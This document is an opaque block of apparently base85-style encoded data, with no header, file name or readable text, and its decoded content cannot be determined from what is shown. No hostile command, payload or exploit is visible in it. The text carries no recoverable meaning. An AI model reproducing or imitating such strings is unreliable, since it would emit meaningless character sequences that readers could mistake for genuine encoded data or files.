zr~CHNHQaab5Dw(~63GZtcMC;J_7qFmn{K|2yv+EHC&E(r>T9knSMvEnWqu-9Y?TnLo*wm~XS(MY@=E3-8DtRK2x)Wmr@uH(|WeMGRuQmZFa? zS^8<|E5bSiv5dB|-%9&K{^>$Ce$|zIrF=Z-o3KHf@HA>^>{`1sd7*$A3XHKtF+;<_ zahyCrN1OnIXQm&6M&L?G>`uCN$?&P*7I3nr5Xw>&1HJ6WT&7qoGL4BW&?OIp<)~VP z0orNdF)r8bc#z%!LU5#_qm63#!uBiQf1wM!G5x4?ehPc|eHTLtQj%dOW#ncd19F72 zQ2FYsua;tlYQhEvQ`rJGiW%Gr_6#G!bQzS2L;_$%|963Llu(LW4dC4Nq|-Tw3!zCcVm^2Pd+e~DG&zl#4R?ptmZ zGgibG-AP%#{qobW>YbxIFRlVx%U327F$D?AGEG;8U=Lks556+b2yVeSrZq{=?Tc=^ z3JRtZ!Mqg%L;>%3F&6{00pBQVWJ#2l{$#9Jx_?139m4VG4EUr=`TA@3L1IR2g~YH^ z@PU?Ss5#}2ccm~NDVvEX3dvg0jZ zpnq6MX~s&N>(k6lAwTYH4oNbf&vti-yCOuyJ7Ifz2nwA+XeW_$b~l% z8b}mgbm!aYAI3onmTM-P?ji@UtvBThX;@fqlv?d-B59ka$VNm+-jZiO1qwxaGFp7v zMQNGDB5zpBS#tRl846ICx0mh5cr9AlM5VffXWmji67?@EHYjt|)tAeblJg4;(iSpS zoKtY3QaMW|m5x$A77tRVoQN%XPDGs)qbd&M6zt)UwXT$pR;GL<8!IO0ANEBS?s&`J zNtY7I+=Nw_-7e#=+;$RB9lrj>m%e1L5oRP~aWRq2t`+~a%8H}zOYR@j8$&)GXWGcm zJYp+ix516QwS2`t1AW5q70Z=nFwEwKUd%$WJv@YjwKL3bf|TsX7|mtE;lR`ZOvXmu zH#f?(VKF-4CBMCJ5OpWv4VzZq-sb^n1Y_|s4(&SIIh8Tc&8tUn0|!5FDnvaY}3s%R_#_Mlg{r?&|I1aIj~?D8x6 zLSZlH1%zEwwG4D2B?k&$**04hcEV#S1eOA9&H^%Tyy+StH~WJj59PxVAD>dQjJ<_h zlwB7-3P?x@NJuKuE!`;~NFz1$z);fNLrFWZD=qW0Wgtb7hw1 zt->M%MDKb8{F!v$cRw65SGK3Rn!HV5EES#SfS&GjnoC09anoJJPhbfA;KE zJt#jp6sI=-B5;P`$FA5yRM|S~jy9Km>Io~h(%yQp$$XC4A#0UaYA-4SLe7NrLB1pI zZ+QU&4>DKO2=3=txT)5ta$J(kJ%LK~#%CO4yT%YWH*`>vjXpJvE+M)<9p~&twvO22x|Hm+Dfg>6TeRdc%A^EUtyL;{=>XzdoSF+~XQD(4yY_9k>GZNy=8~sQ9s3H!LgS*j zASxXw+!gYCD{+dgfMDxBGsm`(2fX>UBsQ&3a4hPOarzDAdpmN~;NS^5&L~=L_e$8M zJW;~bJL`uHQ*LjL2NGHJi>yNrr)MPz?+C)7ylKx6%{dMUr|=m#eNV)Bh|P%q3Qsnx zW~zyLdCilK@Dsg5aQ*RGO`JFl&o79@VSgLuZ}jdYvF8q9@bm9Bol{4^(Zd4&ayfEk z2Z%wK%d1WsVJUZ)J23 z19ZI=S=KwwlXLEg-w7Vr_@-npDqrMT|L^QAerV2D+-~RD& z4jS{9FR)N(aIrCO;wHm@!EOVZ@o!>$bCk@l+8Stn9V?R?I}e7Y}$w8V3Z&O4_%wN2fN%ahXvCf4X- znhzgxNjo%L=*^CXf5w*_V6ISZ&&@DA_nzMqkOF*6v_wz`h$&BvECKRBm_jJ@?+@5#?ptE zYB<{O-#_hNpg(gZ=~-jKlbMAen|3d2zbon!bm&OngmyngZK3UG|9X>*Y*F07Oyn13 zH!*cak&!}1AvSJbaQHG%fXTZMnPomMm)4eKE@{|m5aTqEYa~6zx%=5s6q%`|BEDOx z(RoBW7MS+-)}1|GS@qruBqR4*bziag{Op4XH9(StYSBNN1^22OaYH_*lHsT@`m0OY zLU>%lPzq|N0yO3%$x_wLgj0uYX(jtqEQeUXD`Z*><1ysm6gi6ws?17jL}z1F{Y0DV z=O*PLmfp3ss{% ztt+y5)E&Rkye7c*$h=zjo0z6o2UHjqcJ~<0IYthxjoWjo7fCZK$ARGJ?h8@M%=E2& zwxotnS>jV!+|oKz^_6Jl_-RfCqByF`&kR#kS9t3Tj)HW~j0roXmb?dtugY7BV^6D% zNk2yxO2@n_T?v=6;Fw2-@KlY*r*0)s;=Y~zQFceEibS+gwr6eqHU6~PRT)FHbI5^4 ziFAbiKmrD(V3jA}_@AM~IxXoW9c1^)e`n zCD&s8_yt>-VrD#eqxtpR(gJh$(8Cy)6VMsOr=;3@$#!?V3RnmT@7sM+f26GaJMCrW=c%luwsDQrdp+qE)jU#D=~ zM(+Fh7Z@YNFnFVgc0TL0Tx5lAO{CI!T-0FRG!Mq-miNkzRz z2RHg%7dm24AH#kUT3D-3mq?HOI@&AW4D_;f5>$GdsUQ@faoZnG+tn=3(DTqqgH6&N zFO;pWyF8?&sasis-t_C^g_B52|Aos{)i>f;VdyTiv$Ls$&;b=F`RV{E=$146llA0S zeO2rjIEX~{%tMTA?y)D(HSiL&0Z2mcf*4T5Ey>9~M^6b`9T7Jfm6Amvbp8Cbv83$l zrHs(klNdVUv`=)V*EFddoVBo2Rh!G`j24ovtKft1{)P?^k2lMpV`gnof{yyQ)ph?e zw~4|p`wQ39-{@B1^*7A4wGv?zgY!}H6xlsCTMT9E8ujWzBn7SSZSx8&g1k0^M$WF+ z>yf~zlFxU*{ug3Y54$^usCwof9EWWMp}pBr)k)&SdmG5L`x*%yvGh?V6{0=xr1+58 zyoV7z*nJn(IWgD;(sz`kQT3E!zYqxnVhp)_ktki6uCaaS-jt!bx1&i(^pLwnW?=4@9Nj^BHngK6L7AKM9V zVB6M?x_e=R4947lAgZCT3MbBZx|Y+!Mj5&C^WVLq`SVX6#Oc1$DIa=;Ql7BNSV1eK z5Tyvc3=(dq!}PJWxb!UgX)YlW?z4KDfgYV`#b-){^kvP2k?N&+n>-g1j&6TNScMRj z4((l_pZG^nFTr7irW7)Z8J=v}Q&C2Ws1RK?8Od2I5e38c-WrPRk@VLi=Eq-kxKAb< zTX|!rkL(k9TdE0)hGmL)s5g^BEO?yO>5?*d-loZ%$9oz%3udQPfSdNd+mD8QFvWwZ zskt$iF!O&}I`2a!6#nohTcUgP;RuCV1Hja0r zprikMW(c*Dv)wa={nS$`(CWvo!Pw~3Zg?KVlt+V-PgrcrwBX0?7sfS;EK0`x$Y3UU zvEAHjgE7T^vlq%_XD;Q;`#9Bac)V&7P4Eaw@*mwYMdQVcs`Qlc`lOWhWz7b}impqC zKkTi{JQ-5(>yfCPf{i=RRoIG9;3|begLu9tJP4cy&aj}5I=zI=mGx)s9e>(G8#11v zHc&vsUe0VqKFf}QKV_q3dH-m{z9Z-Y&;P{q*j?9xJ?-J!VblF%L-ozrUR~GunDMa@ z^Sy98Y<6LH&n3HW1KO5|uNLL*FBWxeYpu1&-!Kz3n)o)<8S2oDjH|C|TP3M^-OL|P z*G~}(|DJbT=aNPt9z5*O2h&$6cJl1g%&P<_6qab|OXS!KN`#7d2 zkAzLNLUy3feQ-kki#tkjwrb7#+@4v%D4DcqGMuW3=vP3WNGDi!YEQZmb&AS3U(Uy|!!Ne0FesXeoY-xI3U~ z@!a=Ni5kr~4vtmzZ0IkUhhb%89Au=P_};+%PT;qD{+At#zmFt8^r4TleKEysyExyz zSTm#M(s(}#gM61-u<5px4a>@{8pv{p%c=%7ALkI(PGgrUY@En>Z(c0b!D0#&KE+#4muU-4=$5{m9f1agy1fOi)-@YI z29<=$eQc5C+e{@ZJJwCvvGm^5V}Ab$iM6_gz59jc zBuilh~@Od*X_Hx#}>{u>v30c4lGe$g79`_!Av8D2k_USUlrHp3#uoKkq3`r@cN{jci8gmm*p zLp7UxWyO*$)ue-38X@F6V9u&iXNwntaRc5iuUZq}UIrcA@}u+c@!t$dtPi9&EbV6Z zRUOW;*fR+6`y4FX_Tkk_oV7Au)j6|B-F|1jE{2=4$L zH?x`TJueawE9(ZOeze7pq*jzi?`KOoCMcjK`C7)Zq>bFdU)K~9R;Z59wa-@=8HJwO zI@3IUcH}dXH_l@f890=x#+_J1q}#zwc3^tcQ*|haJLcM`j?5aKjo!pZ$880@VRTv6 zoWe7>X}?wSj_=}3z-f6m16@c~_3Tgo!G$0^e@f`$u6P-S07nn1@#x-RNSp`iU%}!) z+ZP=qEeFuiinS*q2gLr=GZpip?(+QS)67&l zQbl~1z*OdwK`!Ea5rN6k1+tBh@*4Bap$5Vb`ZBHg%A28}YTtoP=dWHqPa1LB#qZ`c z&UR)Fs-S3O(Dj|Zr2X|5zkvG@oUnaNeOuiPlS45x#+uS*Nv3k32Dll;NlJOc_3@w z`lPHVXVbOKBQ)D5sodP9U1z9sHeIJS?*3Md0 ziJLDjZl#%)%+A$sN{|ZCSQCJjqrFS4-?ug>W>dp?)M|LZuR|ey>8lA6l)D{9Xx2$Sh%A@ zK)lcmc6{oCa(sXTGIWDIuIX>Q&0Q5w3g2{zzzX}0OA{8`jOMs(r7T8 z5L!*}X?;PdguFQUddL&v?Dzc$c6|Q$SSQ>`e3(JjtuYN{HQJhz@O{3kC~DP5xVi<) ziZQ!7kaXyFO{JJj^>5s%c0~ZZg zQVLj)N~Tfn1YL%)v$CziBe9h?$FG`ATRWz6Zy8hhl~x*=ekhvk#i-aE5*G~Mv-xrU zr0Iz;zvc8};kT~)JXwO3)5e>`>Y`Bbao2J}(9t}G74wHlLj9T!zqmb|QC@kIz`c@Z zQI)SOx6O=3bg0U&EJ_ZS5>{1eZ*Bier)*=N9G;-kQZRn5es(GLz*6N_GXTq`OGT%I zsvNjbRvF*ZkHc_t`%_LrPeMC8TdA?`yp!toLoIiXBB)BtE+SRgi$*VCh95d?M$?~? z{F)i(X!QiL3^QcjZf;Guh1#4qg~7k*&2ciyo?b`pmO~BCtIvpDy_%&9G6LLkBeQ1}VE=Hp#HB zJGw_;&}4Zp+3-{7rv3N=+5^ezOW(HlBR*-Y_I}KLe6=OAsc&P{hD-BH4{GS+U)w7W zRJuM!v-tV(i-w1rg~04_*dv)^=5+WXeYytSRMNrY9VOnfd`S5IKClE z&fSB)=zfo)ab&R7ZU!z3PL)~8{ z0G5|^*B)exPoWd!U#8OeNPeQ+^mEFlsfxBO{llUsiK2{H+|r2~2pn2JQ$6wTlor$TDrQIUbi>qaoG+=qfBn9S72Z?)#uhgRzh? z=7C;P+}DW?A3Z1m0R_bW{rEN1~Tq2Jorj-{&R1+9Nv$qQv8N#w?l-(wV zmNYbi&I&sh;h*h6EWl&Hnhx@vh`7Sn(m}DYI1=)KabIb#5$IuAV$*j+vlFqV6k{$( zYFmDUEk?%i7I?eUMrA2dgRqPu2ZtcW^ztA#{veIU~}vrR~2 zV#Jl8C^24zQd0c7RI$2Jf_%?)=Ee5V8vccLGyaKkoIK;ZZi9~>qQPEm;%KmnW{5x4 zshWh=VbZ1kDJ2Y}X;sPDUXy*jMD*dwXA?1rk{k(+IG&#`szy1?IQJ-UPQ>W3Iq|A9&=A{7F z^SVMq7X@L9x+;rcb|0eg%F|XyRegtZmSaD(4=YhV4|c%HGEb}ej#YayJm?AM>7*IsT(mApnT zArc^RJQ*YQHR}khR~PU1vmP{G378TP=+C;a2+5>FGGI4n4)@3WUYUPuD~!^S%b^Y5 z?X{uxA{{Ek_lBHA9Zd=*et3+XI`X0v7TzTy9KN}BTF`|PiMk?>w?psx-%G2v7fO|u zs~o<+cYmrz{hE(03lF!2vXG?rbrL#cH{Zf*`67MdZeCD@UuYq%WW~yFk zLZ6?B88`~52fk`a zmROp73_6ea74HuCF!oeaUk|gnql9s#W1Nt%yVgE*AUSJ(@9jsrLKbuBm#AM=f>WSa_8F+%X@9qR0}#rO>(5QL)ye)|C^JgV?3pK^zGS5@ZjD8uE#p~GWFFG0%4(r)Me%7n-XjGD- zW^Oor(!(U&7~=5=6^vzzXlrAvVe+w_e0Z}}Do2+n;4?ES0N0DbqIGCJeNGrkOAX07 zH#RFlo)w!04~iC1tJIE-AQI}VN+B5;f<1_pWDJaKb%`6EZ?ePRR3Gf7u_}3Ez4XqM zU^^>0LFYJa=wjeBGN(C=Q883C+EK2wK*%Uu0UiKU)~XbQd=twW`dt zTz;D?g6|V3Xe>tRzqfn|B7Cdo9oqP0PpT+|WEFPK6CMm#doSm87CTyr5_X;w_2PpG zJ)f2RHl@DsKxf<=iu|dJJzhqxaIkRA^+N(kM~oT4)1bIrt8b3LC)gyXOP%Je~IZre`ev_~Ud1RMKl548ZT2CwR*C;M|gyKax zWK%=fngX6uL0Wl~JkUcnleHw@E%=+HQ&RgFZr@sPJlb2>xYtV&t~%X$3NIb?I$sXk zOA%TGO~)lXm4F5G4yn+1f9VyNvLz|7K*tVY3bidu%F6oXz{{5Hz?&U=eq*}s{O(5R zGH}%;ZUzVKL%C1Ow)~x4 z93n(^zpDeg+mnBN$m%Yfe_5heTVCWoM5tWcRzS=Ne&dtx=3!mJlNp=bRFzq4yJ&Y_ z#V69K2q&4YLb-p^f z)@Y7o2zdmvXESI}1DB`mSWt9R9}j;Ds#`)Tr${mI-C7z*g~2ar^RYgo6bIO#C7oXe zUNu5*`eo1ON>1Sc7&(5MB0sp;wov*vSS8D*9GAcKk&GLT&G}@^dwAaz%yX9lX4nrMn@?mG6mhU0u%|F}^z72zl6{Ty` z5BN51Y^rVIC8+pS-u0fkD~5>Dh~5#j{QCR?QVlkgsQopT{lKne4I3ZUtuR6Tv!p5~(3ocC#DD zD61jrLZDxl+P1X_4gE>$dhEGPo0M!zXe~l(-s|lRkE0t7J9u0LOu`6iVFCY{m1CKt z!}<0Xut3x8 z9-vb;$6fZ?g)X_ZM%-u;!GfzK%zpEtM@iE=lr%w+`VBB$y|Y1~D*3(XXX13$TEzjt zv}~o(yxZ=1(jGVbHi+uF%}Q5Zj!Ud(md&u`OtIuQ_(i4*Exr%?jeWenz&1YmWNSrkL^#Q0nmC0FpbYB<$pe1cT0@z zV17OAesyv2@?F0si_6ckNi$Asho(b|IyUG!8Xx^rQBPPK?AknencoSsmZ)VVBIxRD z8RS`%N7<+Q8aO!z8F{@I-9!NjGJM&6DnyIcjt1ci_}T84F9$%=zb9Y$DNRijp%l0A zYvy1;7mv>2hUbCmjBicy)Dq|zm>&|ok04fTF{-`MJYdcdb6mn|XNSwYoBW~}Vva{S zypENV2o)ZNWNqRJ3^ADM)@Q~HJgNp?6hpPpG?BI1s!_z2Y~WL^1FCle=WvP3ud%cK zcQ-%GvCTsY&`Z>`qx5hzmRXy7<2}6P<71zHsbk0++N*6PE$uK~Egd@{o$$el4VfjX zyV%grw^M0zc&I6I@_fBy=gOKwT)`#*_{9